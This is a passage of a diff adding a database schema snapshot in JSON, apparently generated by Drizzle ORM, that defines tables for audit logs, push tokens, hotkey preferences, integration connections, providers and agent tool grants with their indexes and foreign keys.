+ "method": "btree",
+ "with": {}
+ },
+ "idx_security_audit_chain_seq": {
+ "name": "idx_security_audit_chain_seq",
+ "columns": [
+ {
+ "expression": "chain_seq",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "idx_security_audit_risk_score": {
+ "name": "idx_security_audit_risk_score",
+ "columns": [
+ {
+ "expression": "risk_score",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "idx_security_audit_session": {
+ "name": "idx_security_audit_session",
+ "columns": [
+ {
+ "expression": "session_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "timestamp",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "idx_security_audit_org_chain_seq": {
+ "name": "idx_security_audit_org_chain_seq",
+ "columns": [
+ {
+ "expression": "(\"details\" ->> 'orgId')",
+ "asc": true,
+ "isExpression": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "chain_seq",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "where": "(\"security_audit_log\".\"details\" ->> 'orgId') IS NOT NULL",
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "idx_security_audit_org_occurred_at": {
+ "name": "idx_security_audit_org_occurred_at",
+ "columns": [
+ {
+ "expression": "(\"details\" ->> 'orgId')",
+ "asc": true,
+ "isExpression": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "(\"details\" ->> 'occurredAt')",
+ "asc": true,
+ "isExpression": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "where": "(\"security_audit_log\".\"details\" ->> 'orgId') IS NOT NULL",
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "idx_security_audit_outbox_id": {
+ "name": "idx_security_audit_outbox_id",
+ "columns": [
+ {
+ "expression": "(\"details\" ->> 'outboxId')",
+ "asc": true,
+ "isExpression": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "chain_seq",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "where": "(\"security_audit_log\".\"details\" ->> 'outboxId') IS NOT NULL",
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "security_audit_log_user_id_users_id_fk": {
+ "name": "security_audit_log_user_id_users_id_fk",
+ "tableFrom": "security_audit_log",
+ "tableTo": "users",
+ "columnsFrom": [
+ "user_id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.user_page_views": {
+ "name": "user_page_views",
+ "schema": "",
+ "columns": {
+ "userId": {
+ "name": "userId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "pageId": {
+ "name": "pageId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "viewedAt": {
+ "name": "viewedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {
+ "user_page_views_user_id_idx": {
+ "name": "user_page_views_user_id_idx",
+ "columns": [
+ {
+ "expression": "userId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "user_page_views_page_id_idx": {
+ "name": "user_page_views_page_id_idx",
+ "columns": [
+ {
+ "expression": "pageId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "user_page_views_user_page_idx": {
+ "name": "user_page_views_user_page_idx",
+ "columns": [
+ {
+ "expression": "userId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "pageId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "user_page_views_userId_users_id_fk": {
+ "name": "user_page_views_userId_users_id_fk",
+ "tableFrom": "user_page_views",
+ "tableTo": "users",
+ "columnsFrom": [
+ "userId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "user_page_views_pageId_pages_id_fk": {
+ "name": "user_page_views_pageId_pages_id_fk",
+ "tableFrom": "user_page_views",
+ "tableTo": "pages",
+ "columnsFrom": [
+ "pageId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {
+ "user_page_views_userId_pageId_pk": {
+ "name": "user_page_views_userId_pageId_pk",
+ "columns": [
+ "userId",
+ "pageId"
+ ]
+ }
+ },
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.user_hotkey_preferences": {
+ "name": "user_hotkey_preferences",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "userId": {
+ "name": "userId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "hotkeyId": {
+ "name": "hotkeyId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "binding": {
+ "name": "binding",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "updatedAt": {
+ "name": "updatedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {
+ "user_hotkey_preferences_user_hotkey_idx": {
+ "name": "user_hotkey_preferences_user_hotkey_idx",
+ "columns": [
+ {
+ "expression": "userId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "hotkeyId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": true,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "user_hotkey_preferences_user_idx": {
+ "name": "user_hotkey_preferences_user_idx",
+ "columns": [
+ {
+ "expression": "userId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "user_hotkey_preferences_userId_users_id_fk": {
+ "name": "user_hotkey_preferences_userId_users_id_fk",
+ "tableFrom": "user_hotkey_preferences",
+ "tableTo": "users",
+ "columnsFrom": [
+ "userId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.push_notification_tokens": {
+ "name": "push_notification_tokens",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "userId": {
+ "name": "userId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "token": {
+ "name": "token",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "platform": {
+ "name": "platform",
+ "type": "PushPlatformType",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "deviceId": {
+ "name": "deviceId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "deviceName": {
+ "name": "deviceName",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "isActive": {
+ "name": "isActive",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": true
+ },
+ "webPushSubscription": {
+ "name": "webPushSubscription",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "updatedAt": {
+ "name": "updatedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "lastUsedAt": {
+ "name": "lastUsedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "failedAttempts": {
+ "name": "failedAttempts",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false,
+ "default": "'0'"
+ },
+ "lastFailedAt": {
+ "name": "lastFailedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {
+ "push_notification_tokens_user_id_idx": {
+ "name": "push_notification_tokens_user_id_idx",
+ "columns": [
+ {
+ "expression": "userId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "push_notification_tokens_token_idx": {
+ "name": "push_notification_tokens_token_idx",
+ "columns": [
+ {
+ "expression": "token",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "push_notification_tokens_platform_idx": {
+ "name": "push_notification_tokens_platform_idx",
+ "columns": [
+ {
+ "expression": "platform",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "push_notification_tokens_active_idx": {
+ "name": "push_notification_tokens_active_idx",
+ "columns": [
+ {
+ "expression": "userId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "isActive",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "push_notification_tokens_userId_users_id_fk": {
+ "name": "push_notification_tokens_userId_users_id_fk",
+ "tableFrom": "push_notification_tokens",
+ "tableTo": "users",
+ "columnsFrom": [
+ "userId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.global_assistant_config": {
+ "name": "global_assistant_config",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "user_id": {
+ "name": "user_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "enabled_user_integrations": {
+ "name": "enabled_user_integrations",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "drive_overrides": {
+ "name": "drive_overrides",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "inherit_drive_integrations": {
+ "name": "inherit_drive_integrations",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": true
+ },
+ "created_at": {
+ "name": "created_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "updated_at": {
+ "name": "updated_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "global_assistant_config_user_id_users_id_fk": {
+ "name": "global_assistant_config_user_id_users_id_fk",
+ "tableFrom": "global_assistant_config",
+ "tableTo": "users",
+ "columnsFrom": [
+ "user_id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "global_assistant_config_user_id_unique": {
+ "name": "global_assistant_config_user_id_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "user_id"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.integration_audit_log": {
+ "name": "integration_audit_log",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "drive_id": {
+ "name": "drive_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "agent_id": {
+ "name": "agent_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "user_id": {
+ "name": "user_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "connection_id": {
+ "name": "connection_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "tool_name": {
+ "name": "tool_name",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "input_summary": {
+ "name": "input_summary",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "success": {
+ "name": "success",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "response_code": {
+ "name": "response_code",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "error_type": {
+ "name": "error_type",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "error_message": {
+ "name": "error_message",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "duration_ms": {
+ "name": "duration_ms",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "created_at": {
+ "name": "created_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {
+ "integration_audit_log_drive_id_idx": {
+ "name": "integration_audit_log_drive_id_idx",
+ "columns": [
+ {
+ "expression": "drive_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "integration_audit_log_connection_id_idx": {
+ "name": "integration_audit_log_connection_id_idx",
+ "columns": [
+ {
+ "expression": "connection_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "integration_audit_log_created_at_idx": {
+ "name": "integration_audit_log_created_at_idx",
+ "columns": [
+ {
+ "expression": "created_at",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "integration_audit_log_drive_created_at_idx": {
+ "name": "integration_audit_log_drive_created_at_idx",
+ "columns": [
+ {
+ "expression": "drive_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "created_at",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "integration_audit_log_drive_id_drives_id_fk": {
+ "name": "integration_audit_log_drive_id_drives_id_fk",
+ "tableFrom": "integration_audit_log",
+ "tableTo": "drives",
+ "columnsFrom": [
+ "drive_id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "integration_audit_log_agent_id_pages_id_fk": {
+ "name": "integration_audit_log_agent_id_pages_id_fk",
+ "tableFrom": "integration_audit_log",
+ "tableTo": "pages",
+ "columnsFrom": [
+ "agent_id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ },
+ "integration_audit_log_user_id_users_id_fk": {
+ "name": "integration_audit_log_user_id_users_id_fk",
+ "tableFrom": "integration_audit_log",
+ "tableTo": "users",
+ "columnsFrom": [
+ "user_id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ },
+ "integration_audit_log_connection_id_integration_connections_id_fk": {
+ "name": "integration_audit_log_connection_id_integration_connections_id_fk",
+ "tableFrom": "integration_audit_log",
+ "tableTo": "integration_connections",
+ "columnsFrom": [
+ "connection_id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.integration_connections": {
+ "name": "integration_connections",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "provider_id": {
+ "name": "provider_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "user_id": {
+ "name": "user_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "drive_id": {
+ "name": "drive_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "name": {
+ "name": "name",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "status": {
+ "name": "status",
+ "type": "integration_connection_status",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'pending'"
+ },
+ "status_message": {
+ "name": "status_message",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "credentials": {
+ "name": "credentials",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "base_url_override": {
+ "name": "base_url_override",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "config_overrides": {
+ "name": "config_overrides",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "account_metadata": {
+ "name": "account_metadata",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "visibility": {
+ "name": "visibility",
+ "type": "integration_visibility",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": false,
+ "default": "'owned_drives'"
+ },
+ "oauth_state": {
+ "name": "oauth_state",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "suspended_by_policy": {
+ "name": "suspended_by_policy",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "connected_by": {
+ "name": "connected_by",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "connected_at": {
+ "name": "connected_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "last_used_at": {
+ "name": "last_used_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "last_health_check": {
+ "name": "last_health_check",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "created_at": {
+ "name": "created_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "updated_at": {
+ "name": "updated_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {
+ "integration_connections_provider_id_idx": {
+ "name": "integration_connections_provider_id_idx",
+ "columns": [
+ {
+ "expression": "provider_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "integration_connections_user_id_idx": {
+ "name": "integration_connections_user_id_idx",
+ "columns": [
+ {
+ "expression": "user_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "integration_connections_drive_id_idx": {
+ "name": "integration_connections_drive_id_idx",
+ "columns": [
+ {
+ "expression": "drive_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "integration_connections_suspended_by_policy_idx": {
+ "name": "integration_connections_suspended_by_policy_idx",
+ "columns": [
+ {
+ "expression": "drive_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "where": "\"integration_connections\".\"suspended_by_policy\" IS NOT NULL",
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "integration_connections_provider_id_integration_providers_id_fk": {
+ "name": "integration_connections_provider_id_integration_providers_id_fk",
+ "tableFrom": "integration_connections",
+ "tableTo": "integration_providers",
+ "columnsFrom": [
+ "provider_id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "integration_connections_user_id_users_id_fk": {
+ "name": "integration_connections_user_id_users_id_fk",
+ "tableFrom": "integration_connections",
+ "tableTo": "users",
+ "columnsFrom": [
+ "user_id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "integration_connections_drive_id_drives_id_fk": {
+ "name": "integration_connections_drive_id_drives_id_fk",
+ "tableFrom": "integration_connections",
+ "tableTo": "drives",
+ "columnsFrom": [
+ "drive_id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "integration_connections_connected_by_users_id_fk": {
+ "name": "integration_connections_connected_by_users_id_fk",
+ "tableFrom": "integration_connections",
+ "tableTo": "users",
+ "columnsFrom": [
+ "connected_by"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "integration_connections_user_provider": {
+ "name": "integration_connections_user_provider",
+ "nullsNotDistinct": false,
+ "columns": [
+ "user_id",
+ "provider_id"
+ ]
+ },
+ "integration_connections_drive_provider": {
+ "name": "integration_connections_drive_provider",
+ "nullsNotDistinct": false,
+ "columns": [
+ "drive_id",
+ "provider_id"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {
+ "integration_connections_scope_chk": {
+ "name": "integration_connections_scope_chk",
+ "value": "(\"integration_connections\".\"user_id\" IS NOT NULL AND \"integration_connections\".\"drive_id\" IS NULL) OR (\"integration_connections\".\"user_id\" IS NULL AND \"integration_connections\".\"drive_id\" IS NOT NULL)"
+ }
+ },
+ "isRLSEnabled": false
+ },
+ "public.integration_providers": {
+ "name": "integration_providers",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "slug": {
+ "name": "slug",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "name": {
+ "name": "name",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "description": {
+ "name": "description",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "icon_url": {
+ "name": "icon_url",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "documentation_url": {
+ "name": "documentation_url",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "provider_type": {
+ "name": "provider_type",
+ "type": "integration_provider_type",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "config": {
+ "name": "config",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "openapi_spec": {
+ "name": "openapi_spec",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "is_system": {
+ "name": "is_system",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "created_by": {
+ "name": "created_by",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "drive_id": {
+ "name": "drive_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "enabled": {
+ "name": "enabled",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": true
+ },
+ "created_at": {
+ "name": "created_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "updated_at": {
+ "name": "updated_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {
+ "integration_providers_slug_idx": {
+ "name": "integration_providers_slug_idx",
+ "columns": [
+ {
+ "expression": "slug",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "integration_providers_drive_id_idx": {
+ "name": "integration_providers_drive_id_idx",
+ "columns": [
+ {
+ "expression": "drive_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "integration_providers_created_by_users_id_fk": {
+ "name": "integration_providers_created_by_users_id_fk",
+ "tableFrom": "integration_providers",
+ "tableTo": "users",
+ "columnsFrom": [
+ "created_by"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ },
+ "integration_providers_drive_id_drives_id_fk": {
+ "name": "integration_providers_drive_id_drives_id_fk",
+ "tableFrom": "integration_providers",
+ "tableTo": "drives",
+ "columnsFrom": [
+ "drive_id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "integration_providers_slug_unique": {
+ "name": "integration_providers_slug_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "slug"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.integration_tool_grants": {
+ "name": "integration_tool_grants",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "agent_id": {
+ "name": "agent_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "connection_id": {
+ "name": "connection_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "allowed_tools": {
+ "name": "allowed_tools",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "denied_tools": {
+ "name": "denied_tools",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "read_only": {
+ "name": "read_only",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "rate_limit_override": {
+ "name": "rate_limit_override",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "created_at": {
+ "name": "created_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {
+ "integration_tool_grants_agent_id_idx": {
+ "name": "integration_tool_grants_agent_id_idx",
+ "columns": [
+ {
+ "expression": "agent_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "integration_tool_grants_connection_id_idx": {
+ "name": "integration_tool_grants_connection_id_idx",
+ "columns": [
+ {
+ "expression": "connection_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "integration_tool_grants_agent_id_pages_id_fk": {
+ "name": "integration_tool_grants_agent_id_pages_id_fk",
+ "tableFrom": "integration_tool_grants",
+ "tableTo": "pages",
+ "columnsFrom": [
+ "agent_id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "integration_tool_grants_connection_id_integration_connections_id_fk": {
+ "name": "integration_tool_grants_connection_id_integration_connections_id_fk",
+ "tableFrom": "integration_tool_grants",
+ "tableTo": "integration_connections",
+ "columnsFrom": [
+ "connection_id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "integration_tool_grants_agent_connection": {
+ "name": "integration_tool_grants_agent_connection",
+ "nullsNotDistinct": false,
+ "columns": [
+ "agent_id",
+ "connection_id"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.personalization_candidates": {
+ "name": "personalization_candidates",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "userId": {
+ "name": "userId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "field": {
+ "name": "field",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "claim": {
+ "name": "claim",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "claimKey": {
+ "name": "claimKey",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "evidence": {
+ "name": "evidence",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "orgIds": {
+ "name": "orgIds",
